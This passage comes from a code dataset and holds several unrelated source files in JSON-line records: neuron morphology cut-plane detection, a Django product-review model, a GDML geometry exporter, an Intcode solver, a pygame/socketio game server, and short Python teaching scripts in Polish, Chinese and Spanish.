'bin-width': self.bin_width},\n                'cut-plane': super().to_json()}\n\n    def histogram(self):\n        '''Get the point distribution projected along the normal to the plane\n\n        Returns:\n            a numpy.histogram\n        '''\n        points = _get_points(self.morphology)\n        projected_points = self.project_on_directed_normal(points)\n        min_, max_ = np.min(projected_points, axis=0), np.max(projected_points, axis=0)\n        binning = np.arange(min_, max_ + self.bin_width, self.bin_width)\n        return np.histogram(projected_points, bins=binning)\n\n    def _compute_probabilities(self):\n        '''Returns -log(p) where p is the a posteriori probabilities of the observed values\n        in the bins X min, X max, Y min, Y max, Z min, Z max\n\n        Parameters:\n            hist: a dict of the X, Y and Z 1D histograms\n\n        Returns: a dict of -log(p) values'''\n\n        hist = self.histogram()\n        if not hist[0].size:\n            self.minus_log_prob = np.nan\n        else:\n            self.minus_log_prob = get_minus_log_p(0, hist[0][0])\n        self._compute_status()\n        return self.minus_log_prob\n\n    def _compute_status(self):\n        '''Returns ok if the probability that there is a cut plane is high enough'''\n        _THRESHOLD = 50\n        if np.isnan(self.minus_log_prob):\n            self.status = 'The proba is NaN, something went wrong'\n        elif self.minus_log_prob < _THRESHOLD:\n            self.status = ('The probability that there is in fact NO '\n                           f'cut plane is high: -log(p) = {self.minus_log_prob}!')\n        else:\n            self.status = 'ok'\n\n\ndef _success_function(params, points, bin_width):\n    '''The success function is low (=good) when the difference of points\n    on the left side and right side of the plane is high'''\n    plane = planes.PlaneEquation.from_rotations_translations(params)\n    n_left, n_right = plane.count_near_plane(points, bin_width)\n    res = -abs(n_left - n_right)\n    return res\n\n\ndef _minimize(x0, points, bin_width):\n    '''Returns a tuple of the optimized values of\n    (rot_x, rot_y, rot_z, transl_x, transl_y, transl_z)'''\n    delta_angle = 10  # in degrees\n    delta_transl = 10\n    delta = np.array([delta_angle, delta_angle, delta_angle,\n                      delta_transl, delta_transl, delta_transl])\n    bounds_min = x0 - delta\n    bounds_max = x0 + delta\n    bounds = list(zip(bounds_min, bounds_max))\n    result = optimize.minimize(_success_function,\n                               x0=x0,\n                               args=(points, bin_width),\n                               bounds=bounds,\n                               method='Nelder-Mead')\n\n    if result.status:\n        raise NeuroRError(result.message)\n    return result.x\n\n\ndef get_minus_log_p(k, mu):\n    '''Compute -Log(p|k) where p is the a posteriori probability to observe k counts\n    in bin given than the mean value was \"mu\":\n    demo: p(k|mu) = exp(-mu) * mu**k / k!\n    '''\n    return mu - k * np.log(mu) + np.log(special.factorial(k))\n\n\ndef _get_points(neuron):\n    return np.array([point\n                     for neurite in (neuron.neurites or [])\n                     for section in nm.iter_sections(neurite)\n                     for point in section.points])\n\n\ndef plot(neuron, result, inline=False):\n    '''Plot the neuron, the cut plane and the cut leaves.\n\n    Args:\n        neuron (~neurom.core.morphology.Morphology): the neuron to be plotted\n        result (dict): the cut plane object in dictionary form\n        inline (bool): if True, plot as an interactive plot (for example in a Jupyter notebook)\n    '''\n    try:\n        from plotly_helper.neuron_viewer import NeuronBuilder\n        from plotly_helper.object_creator import scatter\n        from plotly_helper.shapes import line\n    except ImportError as e:\n        raise ImportError(\n            'neuror[plotly] is not installed.'\n            ' Please install it by doing: pip install neuror[plotly]') from e\n\n    bbox = geom.bounding_box(neuron)\n\n    plane = result['cut-plane']\n\n    for display_plane, idx in [('xz', 0), ('yz', 1), ('3d', None)]:\n        builder = NeuronBuilder(neuron, display_plane, inline=inline,\n                                line_width=4, title=str(neuron.name))\n        if idx is not None:\n            if plane['a'] == 0 and plane['b'] == 0:\n                builder.helper.add_shapes([\n                    line(bbox[0][idx], -plane['d'], bbox[1][idx], -plane['d'], width=4)\n                ])\n            builder.helper.add_data({'a': scatter(result['cut-leaves'][:, [idx, 2]],\n                                                  showlegend=False, width=5)})\n        else:\n            builder.helper.add_data({'a': scatter(result['cut-leaves'], width=2)})\n        builder.plot()\n","repo_name":"BlueBrain/NeuroR","sub_path":"neuror/cut_plane/detection.py","file_name":"detection.py","file_ext":"py","file_size_in_byte":13846,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"8971920","text":"from django.contrib.auth import get_user_model\nfrom django.db import models\n\nCATEGORY_CHOICES = [('Drinks', 'Напитки'), ('Sweets', 'Сладости'), ('Bakery', 'Выпечка')]\nRATING_CHOICES = [('1', '1'), ('2', '2'), ('3', '3'), ('4', '4'), ('5', '5')]\n\n\nclass BaseModel(models.Model):\n    created_time = models.DateTimeField(auto_now_add=True, verbose_name=\"Дата создания\")\n    updated_time = models.DateTimeField(auto_now=True, verbose_name=\"Дата изменения\")\n\n    class Meta:\n        abstract = True\n\n\nclass Product(BaseModel):\n    name = models.CharField(max_length=35, null=False, blank=False, verbose_name=\"Название продукта\")\n    category = models.CharField(max_length=45, null=False, blank=False, choices=CATEGORY_CHOICES,\n                                default=CATEGORY_CHOICES[0][0],\n                                verbose_name='Категория продукта')\n    description = models.TextField(max_length=3000, verbose_name=\"Описание продукта\")\n    image = models.ImageField(upload_to='images', null=True, blank=True,\n                              verbose_name=\"Изображение\")\n\n    def __str__(self):\n        return f\"{self.id}. {self.name}.\"\n\n    class Meta:\n        db_table = \"products\"\n        verbose_name = \"Продукт\"\n        verbose_name_plural = \"Продукты\"\n        permissions = [\n            ('create_product', 'Создать товар'),\n            ('update_product', 'Редактировать товар'),\n            ('remove_product', 'Удалить товар'),\n        ]\n\n\nclass Review(BaseModel):\n    author = models.ForeignKey(get_user_model(), related_name=\"reviews\", verbose_name=\"Автор\", default=1,\n                               on_delete=models.SET_DEFAULT)\n    product = models.ForeignKey(\"webapp.Product\", on_delete=models.CASCADE, related_name=\"products\",\n                                verbose_name=\"Продукт\")\n    review_text = models.TextField(max_length=3000, null=False, blank=False, verbose_name=\"Отзыв\")\n    rating = models.CharField(max_length=1, null=False, blank=False, choices=RATING_CHOICES,\n                              default=RATING_CHOICES[0][0],\n                              verbose_name=\"Оценка продукта\")\n    review_status = models.BooleanField(default=False)\n\n    def str(self):\n        return f\"{self.id}. {self.author}\"\n\n    class Meta:\n        db_table = \"review\"\n        verbose_name = \"Отзыв\"\n        verbose_name_plural = \"Отзывы\"\n        permissions = [\n            ('create_review', 'Создать отзыв'),\n            ('update_review', 'Редактировать отзыв'),\n            ('remove_review', 'Удалить отзыв'),\n        ]","repo_name":"azamatdoronov/exam8","sub_path":"webapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73331456101","text":"#!/usr/bin/env python\n'''\nAn export method producing for GDML.\n\nhttp://lcgapp.cern.ch/project/simu/framework/GDML/doc/GDMLmanual.pdf\nhttp://gdml1.web.cern.ch/gdml1/doc/g4gdml_howto.html\nhttp://geant4.in2p3.fr/2007/prog/GiovanniSantin/GSantin_Geant4_Paris07_Materials_v08.pdf\n\nhttp://lxml.de/tutorial.html\nhttp://lxml.de/objectify.html\nhttp://stackoverflow.com/questions/2850823/multiple-xml-namespaces-in-tag-with-lxml\n\n'''\n\nimport os\n\nschema_dir = os.path.join(os.path.dirname(__file__), 'schema')\nschema_file = os.path.join(schema_dir, 'gdml.xsd')\n\nfrom lxml import etree\nfrom gegede import Quantity\nfrom gegede.iter import ascending\nfrom gegede.export import pod\n\ndef qtus(q,unit):\n    'Quantity to unit string'\n    return str(q.to(unit).magnitude)\n\ndef nt_qunit2xmldict(nt, unit):\n    ret = dict(unit=unit)\n    for k,v in zip(nt._fields,nt):\n        if Quantity == type(v):\n            v = str(v.to(unit).magnitude)\n        else:\n            v = str(v)\n        ret[k] = v\n    return ret\n\ndef D(obj):\n    return str(obj.density.to('g/cc').magnitude)\ndef Atom(obj):\n    return str(obj.a.to('g/mole').magnitude)\ndef Symbol(obj):\n    return obj.symbol or \"\"\n\n# def wash(geom):\n#     '''Return a new geom object with its contents \"washed\" of any things\n#     that will tickle GDML limitations.\n#     '''\n#     import gegede.construct\n#     newg = gegede.construct.Geometry(geom.schema)\n#     for store_name in geom.store._fields:\n#         store = getattr(geom.store,store_name)\n#         newstore = getattr(newg.store,store_name)\n#         for name, obj in store.items():\n#             newobj = type(obj)(obj.name.replace(' ','_'), *obj[1:])\n#             newstore[name.replace(' ','_')] = newobj\n#     return newg\n\n\n\ndef make_material_node(obj):\n    '''\n    Return an lxml.etree.Element made from the matter object.\n    '''\n\n    typename = type(obj).__name__\n    node = None\n\n    if typename == 'Element':\n        node = etree.Element('element', name=obj.name, Z=str(obj.z), formula=Symbol(obj))\n        node.append(etree.Element('atom', value=Atom(obj)))\n\n    if typename == 'Isotope':\n        node = etree.Element('isotope', name=obj.name, Z=str(obj.z), N=str(obj.ia))\n        node.append(etree.Element('atom', type=\"A\", value=Atom(obj)))\n\n    if typename == 'Composition':\n        node = etree.Element('element', name=obj.name)\n        for isoname, isofrac in obj.isotopes:\n            node.append(etree.Element('fraction', ref=isoname, n=str(isofrac)))\n\n    if typename == 'Amalgam':\n        node = etree.Element('material', name=obj.name, Z=str(float(obj.z)))\n        # fixme: units???\n        node.append(etree.Element('D', value=D(obj)))\n        node.append(etree.Element('atom', value=Atom(obj)))\n        for propname, propvect in obj.properties:\n            node.append(etree.Element('property',\n                                      name=propname,\n                                      ref=obj.name+'_'+propname+'_VALUE'))\n\n    if typename == 'Molecule':\n        node = etree.Element('material', name=obj.name, formula=Symbol(obj))\n        node.append(etree.Element('D', value=D(obj)))\n        for elename, elenum in obj.elements:\n            node.append(etree.Element('composite', ref=elename, n=str(elenum)))\n        for propname, propvect in obj.properties:\n            node.append(etree.Element('property',\n                                      name=propname,\n                                      ref=obj.name+'_'+propname+'_VALUE'))\n\n\n    if typename == 'Mixture':\n        node = etree.Element('material', name=obj.name, formula=Symbol(obj))\n        node.append(etree.Element('D', value=D(obj)))\n        for compname, compfrac in obj.components:\n            node.append(etree.Element('fraction', ref=compname, n=str(compfrac)))\n        for propname, propvect in obj.properties:\n            node.append(etree.Element('property',\n                                      name=propname,\n                                      ref=obj.name+'_'+propname+'_VALUE'))\n\n    return node\n\n\ndef make_shape_node(shape):\n    '''\n    Return an lxml.etree.Element made from the <shape>\n    '''\n    lunit = 'cm'\n    aunit = 'radian'\n    typename = type(shape).__name__\n\n    def unitify(unit, quant, scale=1.0):\n        quant = quant * scale\n        return str(quant.to(unit).magnitude)\n    def dsize(quant):\n        return unitify(lunit, quant, 2.0)\n    def rsize(quant):\n        return unitify(lunit, quant, 1.0)\n    def ang(quant):\n        return unitify(aunit, quant, 1.0)\n\n    if typename == 'Box':\n        dat = dict(name=shape.name, lunit=lunit,\n                   x=dsize(shape.dx), y=dsize(shape.dy), z=dsize(shape.dz))\n        return etree.Element('box', **dat)\n\n    if typename == 'TwistedBox':\n        dat = dict(name=shape.name, lunit=lunit,\n                   x=dsize(shape.dx), y=dsize(shape.dy), z=dsize(shape.dz), PhiTwist=ang(shape.phitws))\n        return etree.Element('twistedbox', **dat)\n\n    if typename == 'Tubs':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                   rmin=rsize(shape.rmin), rmax=rsize(shape.rmax), z=dsize(shape.dz),\n                   startphi=ang(shape.sphi), deltaphi=ang(shape.dphi))\n        return etree.Element('tube', **dat)\n\n    if typename == 'Sphere':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                   rmin=rsize(shape.rmin), rmax=rsize(shape.rmax),\n                   startphi=ang(shape.sphi), deltaphi=ang(shape.dphi),\n                   starttheta=ang(shape.stheta), deltatheta=ang(shape.dtheta))\n        return etree.Element('sphere', **dat)\n\n    if typename == 'Cone':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                    rmin1=rsize(shape.rmin1), rmax1=rsize(shape.rmax1),\n                    rmin2=rsize(shape.rmin2), rmax2=rsize(shape.rmax2), z=dsize(shape.dz),\n                    startphi=ang(shape.sphi), deltaphi=ang(shape.dphi))\n        return etree.Element('cone', **dat)\n\n    if typename == 'Trapezoid':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                    x1=dsize(shape.dx1), x2=dsize(shape.dx2),\n                    y1=dsize(shape.dy1), y2=dsize(shape.dy2), z=dsize(shape.dz))\n        return etree.Element('trd', **dat)\n\n    if typename == 'TwistedTrap':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                    x1=dsize(shape.dx1), x2=dsize(shape.dx2), x3=dsize(shape.dx3), x4=dsize(shape.dx4),\n                    y1=dsize(shape.dy1), y2=dsize(shape.dy2), z=dsize(shape.dz),\n                    Theta=ang(shape.dtheta), Phi=ang(shape.dphi), Alph=ang(shape.dalpha), PhiTwist=ang(shape.phitws))\n        return etree.Element('twistedtrap', **dat)\n\n    if typename == 'TwistedTrd':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                    x1=dsize(shape.dx1), x2=dsize(shape.dx2),\n                    y1=dsize(shape.dy1), y2=dsize(shape.dy2), z=dsize(shape.dz),\n                    PhiTwist=ang(shape.phitws))\n        return etree.Element('twistedtrd', **dat)\n    \n    if typename == 'Arb8':\n        # print(\"arb8ivert\",shape.ivert[0][0])\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                   v1x=dsize(shape.v1x),v1y=dsize(shape.v1y),\n                   v2x=dsize(shape.v2x),v2y=dsize(shape.v2y),\n                   v3x=dsize(shape.v3x),v3y=dsize(shape.v3y),\n                   v4x=dsize(shape.v4x),v4y=dsize(shape.v4y),\n                   v5x=dsize(shape.v5x),v5y=dsize(shape.v5y),\n                   v6x=dsize(shape.v6x),v6y=dsize(shape.v6y),\n                   v7x=dsize(shape.v7x),v7y=dsize(shape.v7y),\n                   v8x=dsize(shape.v8x),v8y=dsize(shape.v8y),\n                    dz=dsize(shape.dz))\n        return etree.Element('arb8', **dat)\n\n    if typename == 'Paraboloid':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                    rlo=dsize(shape.drlo), rhi=dsize(shape.drhi),\n                    dz=dsize(shape.ddz))\n        return etree.Element('paraboloid', **dat)\n\n    if typename == 'Ellipsoid':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                    ax=dsize(shape.dax), by=dsize(shape.dby), cz=dsize(shape.dcz),\n                    zcut1=dsize(shape.dzcut1), zcut2=dsize(shape.dzcut2))\n        return etree.Element('ellipsoid', **dat)\n\n    if typename == 'PolyhedraRegular':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                    startphi=ang(shape.sphi), deltaphi=ang(shape.dphi), numsides=str(int(shape.numsides)))\n        ele = etree.Element('polyhedra', **dat)\n        zpos = shape.dz / 2\n        zneg = - shape.dz / 2\n        ele.append(etree.Element('zplane', rmin=rsize(shape.rmin), rmax=rsize(shape.rmax), z=dsize(zpos)))\n        ele.append(etree.Element('zplane', rmin=rsize(shape.rmin), rmax=rsize(shape.rmax), z=dsize(zneg)))\n        return ele\n\n    if typename == 'Boolean':\n        ele = etree.Element(shape.type, name=shape.name)\n        # the rest are sub nodes.  why?  because, don't ask questions!\n        ele.append(etree.Element('first', ref=shape.first))\n        ele.append(etree.Element('second', ref=shape.second))\n        ele.append(etree.Element('positionref', ref = shape.pos or 'center'))\n        ele.append(etree.Element('rotationref', ref = shape.rot or 'identity'))\n        return ele\n    \n    if typename == 'EllipticalTube':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                    dx=dsize(0.5*shape.dx), dy=dsize(0.5*shape.dy), dz=dsize(0.5*shape.dz))\n        return etree.Element('eltube', **dat)    \n\n    if typename == 'Torus':\n        dat = dict(name=shape.name, lunit=lunit, aunit=aunit,\n                    rmin=rsize(shape.rmin), rmax=rsize(shape.rmax), rtor=rsize(shape.rtor),\n                    startphi=ang(shape.startphi), deltaphi=ang(shape.deltaphi))\n        return etree.Element('torus', **dat)\n\n    # etc....  Grow this as gegede.schema.Schema.shapes grows....\n\n    return\n\ndef make_volume_node(vol, store):\n    #print ('VOL',vol)\n    node_type = 'volume'\n    if vol.material is None and vol.shape is None:\n        node = etree.Element('assembly', name=vol.name)\n    else:\n        assert vol.material and vol.shape\n        node = etree.Element('volume', name=vol.name)\n        node.append(etree.Element('materialref', ref=vol.material))\n        node.append(etree.Element('solidref', ref=vol.shape))\n    for placename in vol.placements or []:\n        place = store[placename]\n        if place.copynumber:\n            pvol = etree.Element('physvol', copynumber=str(place.copynumber))\n        else:\n            pvol = etree.Element('physvol')\n        node.append(pvol)\n        pvol.append(etree.Element('volumeref', ref=place.volume))\n        if place.pos:\n            pvol.append(etree.Element('positionref', ref=place.pos))\n        else:\n            pvol.append(etree.Element('positionref', ref='center'))\n        if place.rot:\n            pvol.append(etree.Element('rotationref', ref=place.rot))\n        else:\n            pvol.append(etree.Element('rotationref', ref='identity'))\n    for parname, parval in vol.params or []:\n        pnode = etree.Element('auxiliary', auxtype=parname, auxvalue=parval)\n        node.append(pnode)\n    return node\n\n\ndef convert(geom):\n    '''\n    Return an lxml.etree formed from the geometry\n    '''\n\n    gdml_node = etree.Element(\"gdml\")\n\n    # I have no idea what this means but it reproduces what other GDML\n    # files have and w/out it Geant4 complains.\n    gdml_node.set('{http://www.w3.org/2001/XMLSchema-instance}noNamespaceSchemaLocation',\n                  'http://service-spi.web.cern.ch/service-spi/app/releases/GDML/schema/gdml.xsd')\n\n    # <define>\n    define_node = etree.Element('define')\n    gdml_node.append(define_node)\n    center = identity = None\n    for name, obj in geom.store.structure.items():\n        typename = type(obj).__name__.lower()\n        node = None\n        if typename == 'position':\n            node = etree.Element('position', **nt_qunit2xmldict(obj, 'cm'))\n            if obj.name == 'center':\n                center = obj\n        if typename == 'rotation':\n            node = etree.Element('rotation', **nt_qunit2xmldict(obj, 'degree'))\n            if obj.name == 'identity':\n                identity = obj\n        if node is not None:\n            define_node.append(node)\n        continue\n    for name, obj in geom.store.matter.items():\n        typename = type(obj).__name__.lower()\n        if typename=='mixture' or typename=='molecule' or typename=='amalgam':\n            for prop, val in obj.properties:\n                vals = str(val[0])\n                for v in val[1:]: vals += ' ' + str(v)\n                define_node.append(etree.Element('matrix',\n                                                 name=name+'_'+prop+'_VALUE',\n                                                 coldim=str(len(val)),\n                                                 values=vals))\n                continue\n            continue\n        continue\n    if center is None:\n        define_node.append(etree.Element('position', name='center'))\n    if identity is None:\n        define_node.append(etree.Element('rotation', name='identity'))\n\n    # <materials>\n    materials_node = etree.Element('materials')\n    gdml_node.append(materials_node)\n    for name, obj in geom.store.matter.items():\n        node = make_material_node(obj)\n        if node is not None:\n            materials_node.append(node)\n\n    # <solids>\n    solids_node = etree.Element('solids')\n    gdml_node.append(solids_node)\n    for obj in geom.store.shapes.values():\n        node = make_shape_node(obj)\n        if node is not None:\n            solids_node.append(node)\n\n\n    # <structure>\n    structure_node = etree.Element('structure')\n    gdml_node.append(structure_node)\n    for vol in ascending(geom.store.structure, geom.world):\n        assert vol\n        node = make_volume_node(vol, geom.store.structure)\n        if node is not None:\n            structure_node.append(node)\n\n    # <setup>\n    setup_node = etree.Element('setup', name=\"Default\", version=\"0\")\n    gdml_node.append(setup_node)\n\n    world_node = etree.Element('world', ref=geom.world)\n    setup_node.append(world_node)\n\n    return gdml_node\n\n\ndef validate(text):\n    try:\n        from StringIO import StringIO\n        sio = StringIO(text)\n    except ImportError:         # python3\n        from io import BytesIO\n        sio = BytesIO(text)\n\n    xsd_doc = etree.parse(schema_file)\n    xsd = etree.XMLSchema(xsd_doc)\n    xml = etree.parse(sio)\n    okay = xsd.validate(xml)\n    if not okay:\n        print (xsd.error_log)\n        raise ValueError('Invalid GDML')\n    return True\n\ndef validate_object(obj):\n    return validate(dumps(obj))\n\n#def validate_output(obj, filename):\n#    return False\n\ndef dumps(obj):\n    '''\n    Return a string representation of the object returned by convert.\n    '''\n    xml = etree.tostring(obj, pretty_print = True, xml_declaration = True)\n    xml = xml.replace(b\"'\",b'\"')  # work around ROOT GDML import bug....\n    # don't validate here\n    return xml\n\ndef output(obj, filename):\n    '''\n    Save to file\n    '''\n    open(filename,'wb').write(dumps(obj))\n","repo_name":"brettviren/gegede","sub_path":"python/gegede/export/gdml/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15104,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"33811479635","text":"import sys # argv\nimport math # inf\nimport itertools # permutations\n\nfrom typing import Tuple, List, Iterable\n\n\nOP_NUM_PARAMS = {\n    99: 0,\n    1: 3,\n    2: 3,\n    3: 1,\n    4: 1,\n    5: 2,\n    6: 2,\n    7: 3,\n    8: 3,\n}\n\ndef parse_op_value(op_value: int) -> Tuple[int, List[int]]:\n    op = op_value % 100\n    if op not in OP_NUM_PARAMS:\n        raise Exception(f'Invalid op: {op}')\n    op_value //= 100\n    param_modes = []\n    for _ in range(OP_NUM_PARAMS[op]):\n        mode = op_value % 10\n        assert mode in [0, 1]\n        param_modes.append(mode)\n        op_value //= 10\n    return op, param_modes\n\ndef run_program(memory: List[int], input_values: Iterable[int]) -> List[int]:\n    memory = memory.copy()\n    input_values = iter(input_values)\n    \n    output_values = []\n    ip = 0\n    while True:\n        op, param_modes = parse_op_value(memory[ip])\n        if op == 99:\n            break\n        \n        def get_param(n: int) -> int:\n            param_value = memory[ip+n]\n            if param_modes[n-1] == 0:\n                return memory[param_value]\n            else:\n                return param_value\n        \n        def set_param(n: int, value: int):\n            param_value = memory[ip+n]\n            if param_modes[n-1] == 0:\n                memory[param_value] = value\n            else:\n                raise Exception('Attempted to write to immediate parameter')\n        \n        if op == 1:\n            result = get_param(1) + get_param(2)\n            set_param(3, result)\n        elif op == 2:\n            result = get_param(1) * get_param(2)\n            set_param(3, result)\n        elif op == 3:\n            set_param(1, next(input_values))\n        elif op == 4:\n            output_values.append(get_param(1))\n        elif op == 5:\n            if get_param(1) != 0:\n                ip = get_param(2)\n                continue\n        elif op == 6:\n            if get_param(1) == 0:\n                ip = get_param(2)\n                continue\n        elif op == 7:\n            result = get_param(1) < get_param(2)\n            set_param(3, int(result))\n        elif op == 8:\n            result = get_param(1) == get_param(2)\n            set_param(3, int(result))\n        else:\n            raise Exception(f'Invalid op: {op}')\n        \n        ip += 1 + len(param_modes)\n    \n    try:\n        next(input_values)\n    except StopIteration:\n        return output_values\n    else:\n        raise Exception(\"Program didn't use all input values\")\n\nwith open(sys.argv[1]) as f:\n    memory = [int(value) for value in f.read().split(',')]\n\nlargest_output = -math.inf\nlargest_output_config = None\nfor phase_config in itertools.permutations(range(0, 5)):\n    output_value = 0\n    for phase in phase_config:\n        output_value, = run_program(memory, [phase, output_value])\n    if output_value > largest_output:\n        largest_output = output_value\n        largest_output_config = phase_config\n#print(largest_output_config)\nprint(largest_output)\n","repo_name":"qxzcode/aoc_2019","sub_path":"07/first.py","file_name":"first.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42748181412","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport math\r\n\r\ndef suma(x):\r\n    wynik = 0\r\n    for i in range(1,x+1):\r\n        wynik += i\r\n    return wynik\r\nprint(str(suma(10)) + ' ' + str(suma(123)))\r\n\r\nliczby = np.arange(256,348)\r\nliczby2 = [i for i in range(256,348) if i%13==0]\r\nprint(liczby2)\r\n\r\n\"\"\"slowo = input(\"Podaj palindrom: \")\r\nx = len(slowo)\r\ni = 0\r\nwhile i<x:\r\n    if(slowo[i]!=slowo[x-1]):\r\n        print(\"Slowo NIE JEST palindromem\")\r\n        break\r\n    x -= 1\r\n    i += 1\r\n    if(i>=x):\r\n        print(\"Slowo JEST palindromem\")\"\"\"\r\nx = np.arange(-10,11,0.1)\r\ny = np.sin(x)\r\nplt.plot(x,y)\r\nplt.show()\r\n\r\n\r\n\r\n","repo_name":"kziel445/WizualizacjaDanych","sub_path":"Egz/egz2.py","file_name":"egz2.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28181554459","text":"#循环\n#Python的循环有两种，一种是for...in循环，依次把list或tuple中的每个元素迭代出来，看例子：\nnames = [\"Michael\",\"Bob\",\"Tracy\"]\nfor name in names:\n    print(name)\n#所以for x in ...循环就是把每个元素代入变量x，然后执行缩进块的语句。\n#再比如我们想计算1-10的整数之和，可以用一个sum变量做累加：\n\nsum = 0\nfor x in [1,2,3,4,5,6,7,8,9,10]:\n    sum += x\nprint(sum)\n\n#如果要计算1-100的整数之和，从1写到100有点困难，幸好Python提供一个range()函数，可以生成一个整数序列，再通过list()函数可以转换为list。比如range(5)生成的序列是从0开始小于5的整数：\nprint(list(range(5)))  #打印结果 [0,1,2,3,4]\n\nsum = 0\nfor x in range(100):\n    sum += x\nprint(sum)\n\n#第二种循环是while循环，只要条件满足，就不断循环，条件不满足时退出循环。比如我们要计算100以内所有奇数之和，可以用while循环实现：\n\nsum = 0\nn = 99\nwhile n>0:\n    sum += n\n    n = n-1\nprint(sum)\n\n#练习：请利用循环依次对list中的每个名字打印出Hello, xxx!：\nL = ['Bart', 'Lisa', 'Adam']\nfor x in L:\n    print('%s,%s'% ('Hello',x))\n\n#在循环中，break语句可以提前退出循环\nn = 1\nwhile n<100:\n    print(n)\n    n = n+1\n    if n>50:\n        break\nprint('end')\n#在循环过程中，也可以通过continue语句，跳过当前的这次循环，直接开始下一次循环。\nn = 0\nwhile n < 10:\n    n = n + 1\n    if n % 2 == 0: # 如果n是偶数，执行continue语句\n        continue # continue语句会直接继续下一轮循环，后续的print()语句不会执行\n    print(n)","repo_name":"luyanjie/maomaochong","sub_path":"learn-python3/samples/basic/do_for.py","file_name":"do_for.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3848185649","text":"import asyncio\n\nimport pygame\nimport socketio\nfrom aiohttp import web\n\nfrom game_socket.socketevent import SocketEvent\nfrom util.globals import COLOR_WHITE\n\n\nclass Pygame:\n    def __init__(self):\n        pygame.init()\n        self.screen = pygame.display.set_mode((500, 500))\n\n        self.server = GameServer()\n        self.running = True\n\n    async def run(self):\n        cnt = 0\n        while self.running:\n            cnt += 1\n            self.screen.fill(COLOR_WHITE)\n\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    self.running = False\n\n            if cnt == 5:\n                self.server.enabled = True\n\n            pygame.display.update()\n            self.update_socket()\n        pygame.quit()\n\n    def update_socket(self):\n        if self.server.enabled:\n            if not self.server.is_running:\n                self.server.start()\n        else:\n            if self.server.is_running:\n                self.server.stop()\n\n\n\nclass GameServer:\n    def __init__(self):\n        self.sio = socketio.AsyncServer()\n        self.site = None\n        self.runner = None\n        self.server_task = None\n\n        self.enabled = False\n        self.is_running = False\n\n    def start(self, ip='localhost', port=8003, listener=None):\n        print('[Server] start')\n        self.is_running = True\n        self.server_task = asyncio.create_task(self.run(ip, port, listener))\n\n    def stop(self):\n        print('[Server] stop')\n        self.is_running = False\n        if self.site is not None:\n            asyncio.create_task(self.site.stop())\n\n    def disconnect(self, sid):\n        asyncio.create_task(self.sio.disconnect(sid))\n\n    async def run(self, ip, port, listener):\n        self.set_on_message_listener(listener)\n\n        app = web.Application()\n        self.sio.attach(app)\n\n        self.runner = web.AppRunner(app)\n        await self.runner.setup()\n        self.site = web.TCPSite(self.runner, host=ip, port=port)\n        await self.site.start()\n\n    def set_on_message_listener(self, listener):\n        @self.sio.on('*')\n        async def catch_all(event, sid, data):\n            print(event, sid, data)\n            await listener(event, sid, data)\n\n    def set_on_connect_listener(self, listener):\n\n        @self.sio.event\n        def connect(sid, environ, auth):\n            print(f'[Event] {sid} connected!')\n\n\n    def set_on_disconnect_listener(self, listener):\n        @self.sio.event\n        def disconnect(sid):\n            print(f'[Event] {sid} disconnected!')\n            listener(sid)\n\n    async def post(self, event, sid, data):\n        await self.sio.emit(event, data, sid)\n\n    def emit(self, event, sid=None, data= None):\n        print('[Emit]', event, sid, data)\n        asyncio.create_task(self.post(event, sid, data))\n\n\n\n\nasync def main():\n    game = Pygame()\n    pygame_task = asyncio.create_task(game.run())\n\n    await asyncio.gather(pygame_task)\n\n\nif __name__ == '__main__':\n    asyncio.run(main())\n\n\n\n\n","repo_name":"Hong-Mu/uno-python","sub_path":"game_socket/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41214596276","text":"# -*- coding: utf-8 -*-\n\"\"\"\nLoop replacemnet\n\n@author: Roberto\n\"\"\"\n\n# para correr lienas de codigo\n# 1. seleccionar lineas de codigo\n# 2. presioner tecla F9\n\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame, Series\nimport re # Regex\nimport pyreadr  # Load R dataset\nimport os # for usernanme y set direcotrio\n\n# pip install pyreadr  (correr linea esta linead e codigo en la consola)\n\n# data.Rdata\n\n# Change directory \n\nuser = os.getlogin()   # Username\n\n# Set directorio\n\nos.chdir(f\"C:/Users/{user}/Documents/GitHub/1ECO35_2023_1/Lectures/Lecture_3\") # Set directorio\n\n\n#%% Ejemplo de header\n\nprint(\"Hola Mundo\")\n\n\n#%% Funciones lambda\n\n# Función tradicional #\n\ndef interes(C, T, R):\n  i = C*T*R\n  return i\n\ninteres(5000, 24, 0.02)\n\n\n# forma parsimoniosa de generar funciones\n\ninteres2 = lambda C, T, R : C*T*R\n\ninteres2(5000, 24, 0.02)\n\n\n# Más ejemplos \n\n# map permite aplicar una función que a cada elemento de un conjunto de datos  (array, listas)\n\ngenero = ['F', 'M', 'M', 'F', 'M']\n\nlist( map( lambda x: 0 if x == 